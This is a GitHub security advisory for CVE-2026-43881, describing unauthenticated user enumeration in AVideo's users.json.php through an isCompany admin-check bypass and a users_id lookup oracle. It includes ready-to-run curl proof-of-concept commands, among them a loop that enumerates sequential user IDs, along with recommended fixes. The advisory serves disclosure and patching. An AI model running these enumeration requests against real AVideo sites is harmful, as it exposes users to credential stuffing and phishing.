GHSA-6RVW-7P8V-MJFQ

Vulnerability from github – Published: 2026-05-05 22:02 – Updated: 2026-05-13 14:20
VLAI
Summary
AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction
Details

Summary

objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.

Details

Root cause #1 — isCompany admin bypass

objects/users.json.php:13-53 (HEAD, v29.0):

$canAdminUsers = canAdminUsers();                                    // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
    $user = User::getUserFromID($_REQUEST['users_id']);              // path #2
    ...
} else if (empty($_REQUEST['user_groups_id'])) {
    $isAdmin     = null;
    $isCompany   = null;
    $ignoreAdmin = canSearchUsers() ? true : false;
    ...
    if (isset($_REQUEST['isCompany'])) {                              // line 39
        $isCompany = intval($_REQUEST['isCompany']);
        if (!$canAdminUsers) {
            if (User::isACompany()) { $isCompany = 0; }
            else                    { $isCompany = 1; }
            $ignoreAdmin = true;                                      // line 47 — bypass flag
        }
    }
    ...
    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
    $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}

User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.

The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:

public static function getAllUsers($ignoreAdmin = false, ...) {
    if (!Permissions::canAdminUsers() && !$ignoreAdmin) {   // $ignoreAdmin === true → guard skipped
        _error_log('You are not admin and cannot list all users');
        return false;
    }
    ...
    $sql = "SELECT * FROM users u WHERE 1=1 ...";
    if (isset($isCompany)) {
        if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
            $sql .= " AND is_company = $isCompany ";
        } else {
            $sql .= " AND (is_company = 0 OR is_company IS NULL) ";
        }
    }

Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.

Root cause #2 — users_id single-record oracle

objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.

Why there is no blocking mitigation

  • No router-level auth: the .htaccess rewrite (.htaccess:317) maps /users.json directly to this file.
  • No CSRF/origin gate: the file is explicitly listed in objects/functionsSecurity.php:893 under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design.
  • The output-filter block (objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, and total is always echoed on line 97.
  • rowCount is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).

PoC

Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.

Path 1 — bulk listing via isCompany admin-check bypass

$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
  {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
   "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
  {"id":"2","identification":"alice",...,"status":"a",...},
  ...
]}

The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.

Path 2 — sequential-ID existence / display-name oracle

$ for i in $(seq 1 10000); do
    curl -s "http://target/objects/users.json.php?users_id=$i" \
      | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
  done
1   1   admin   a
1   2   alice   a
0   null    null    null
1   4   bob i
...

total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).

Verification of the branch logic

// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = [];                      // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
    $isCompany = intval($_REQUEST['isCompany']);
    if (!$canAdminUsers) {
        $isACompany = !empty($_SESSION['user']['is_company']);   // false
        $isCompany   = $isACompany ? 0 : 1;
        $ignoreAdmin = true;
    }
}
var_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  → admin guard SKIPPED

Impact

An unauthenticated remote attacker can:

  • Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
  • Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
  • Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
  • Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.

No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.

Recommended Fix

  1. Require authentication at the top of objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:

    php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); }

  2. Remove the isCompany-driven $ignoreAdmin = true branch (users.json.php:41-48). It served no purpose that the explicit canSearchUsers() check above does not already cover, and its only observable effect is the bypass described here.

  3. Gate the users_id path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:

    php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... }

  4. Consider clamping $_REQUEST['rowCount'] to a sane ceiling (e.g. 100) and removing objects/users.json.php from the CSRF-bypass list in objects/functionsSecurity.php:893 unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:02:35Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count.\n\n## Details\n\n### Root cause #1 \u2014 `isCompany` admin bypass\n\n`objects/users.json.php:13-53` (HEAD, v29.0):\n\n```php\n$canAdminUsers = canAdminUsers();                                    // line 13 \u2014 for output filtering only\n...\nif (!empty($_REQUEST[\u0027users_id\u0027])) {\n    $user = User::getUserFromID($_REQUEST[\u0027users_id\u0027]);              // path #2\n    ...\n} else if (empty($_REQUEST[\u0027user_groups_id\u0027])) {\n    $isAdmin     = null;\n    $isCompany   = null;\n    $ignoreAdmin = canSearchUsers() ? true : false;\n    ...\n    if (isset($_REQUEST[\u0027isCompany\u0027])) {                              // line 39\n        $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n        if (!$canAdminUsers) {\n            if (User::isACompany()) { $isCompany = 0; }\n            else                    { $isCompany = 1; }\n            $ignoreAdmin = true;                                      // line 47 \u2014 bypass flag\n        }\n    }\n    ...\n    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n    $total = User::getTotalUsers($ignoreAdmin, @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n}\n```\n\n`User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`.\n\nThe admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited:\n\n```php\npublic static function getAllUsers($ignoreAdmin = false, ...) {\n    if (!Permissions::canAdminUsers() \u0026\u0026 !$ignoreAdmin) {   // $ignoreAdmin === true \u2192 guard skipped\n        _error_log(\u0027You are not admin and cannot list all users\u0027);\n        return false;\n    }\n    ...\n    $sql = \"SELECT * FROM users u WHERE 1=1 ...\";\n    if (isset($isCompany)) {\n        if (!empty($isCompany) \u0026\u0026 $isCompany == self::$is_company_status_ISACOMPANY || ...) {\n            $sql .= \" AND is_company = $isCompany \";\n        } else {\n            $sql .= \" AND (is_company = 0 OR is_company IS NULL) \";\n        }\n    }\n```\n\nNote: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP\u0027s operator precedence (`!empty($isCompany) \u0026\u0026 ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` \u2014 i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`.\n\n### Root cause #2 \u2014 `users_id` single-record oracle\n\n`objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST[\u0027users_id\u0027])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise \u2014 a perfect sequential-ID existence oracle.\n\n### Why there is no blocking mitigation\n\n- No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file.\n- No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under \u201cRead-only endpoints that accept POST params\u201d, meaning the same-origin/CSRF middleware is skipped by design.\n- The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed \u2014 it does not suppress existence or display-name leakage, and `total` is always echoed on line 97.\n- `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).\n\n## PoC\n\nTarget: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required.\n\n### Path 1 \u2014 bulk listing via `isCompany` admin-check bypass\n\n```\n$ curl -s \u0027http://target/objects/users.json.php?isCompany=0\u0026rowCount=1000\u0026current=1\u0027\n{\"current\":1,\"rowCount\":1000,\"total\":42,\"rows\":[\n  {\"id\":\"1\",\"identification\":\"admin\",\"photo\":\"https://target/videos/userPhoto/photo1.png\",\n   \"background\":\"https://target/...\",\"status\":\"a\",\"creator\":\"\u003cdiv ...channel URL...\u003e\"},\n  {\"id\":\"2\",\"identification\":\"alice\",...,\"status\":\"a\",...},\n  ...\n]}\n```\n\nThe same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`.\n\n### Path 2 \u2014 sequential-ID existence / display-name oracle\n\n```\n$ for i in $(seq 1 10000); do\n    curl -s \"http://target/objects/users.json.php?users_id=$i\" \\\n      | jq -r \u0027[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv\u0027\n  done\n1\t1\tadmin\ta\n1\t2\talice\ta\n0\tnull\tnull\tnull\n1\t4\tbob\ti\n...\n```\n\n`total=1` \u2192 ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`).\n\n### Verification of the branch logic\n\n```php\n// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.\n$canAdminUsers = false; $ignoreAdmin = false;\n$_SESSION = [];                      // unauthenticated\n$_REQUEST = [\u0027isCompany\u0027 =\u003e \u00271\u0027];\nif (isset($_REQUEST[\u0027isCompany\u0027])) {\n    $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n    if (!$canAdminUsers) {\n        $isACompany = !empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027]);   // false\n        $isCompany   = $isACompany ? 0 : 1;\n        $ignoreAdmin = true;\n    }\n}\nvar_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  \u2192 admin guard SKIPPED\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).\n- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.\n- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo\u2019s login/password-recovery endpoints.\n- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.\n\nNo auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request.\n\n## Recommended Fix\n\n1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search:\n\n    ```php\n    require_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\n    User::loginCheck();                         // reject anonymous callers\n    if (!canSearchUsers()) {\n        header(\u0027HTTP/1.1 403 Forbidden\u0027);\n        die(\u0027{\"error\":\"forbidden\"}\u0027);\n    }\n    ```\n\n2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here.\n\n3. Gate the `users_id` path behind the same check, or restrict its output to the caller\u2019s own record when the caller is not an admin:\n\n    ```php\n    if (!empty($_REQUEST[\u0027users_id\u0027])) {\n        $requestedId = intval($_REQUEST[\u0027users_id\u0027]);\n        if (!canSearchUsers() \u0026\u0026 $requestedId !== User::getId()) {\n            header(\u0027HTTP/1.1 403 Forbidden\u0027);\n            die(\u0027{\"error\":\"forbidden\"}\u0027);\n        }\n        $user = User::getUserFromID($requestedId);\n        ...\n    }\n    ```\n\n4. Consider clamping `$_REQUEST[\u0027rowCount\u0027]` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement \u2014 and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.",
  "id": "GHSA-6rvw-7p8v-mjfq",
  "modified": "2026-05-13T14:20:28Z",
  "published": "2026-05-05T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rvw-7p8v-mjfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…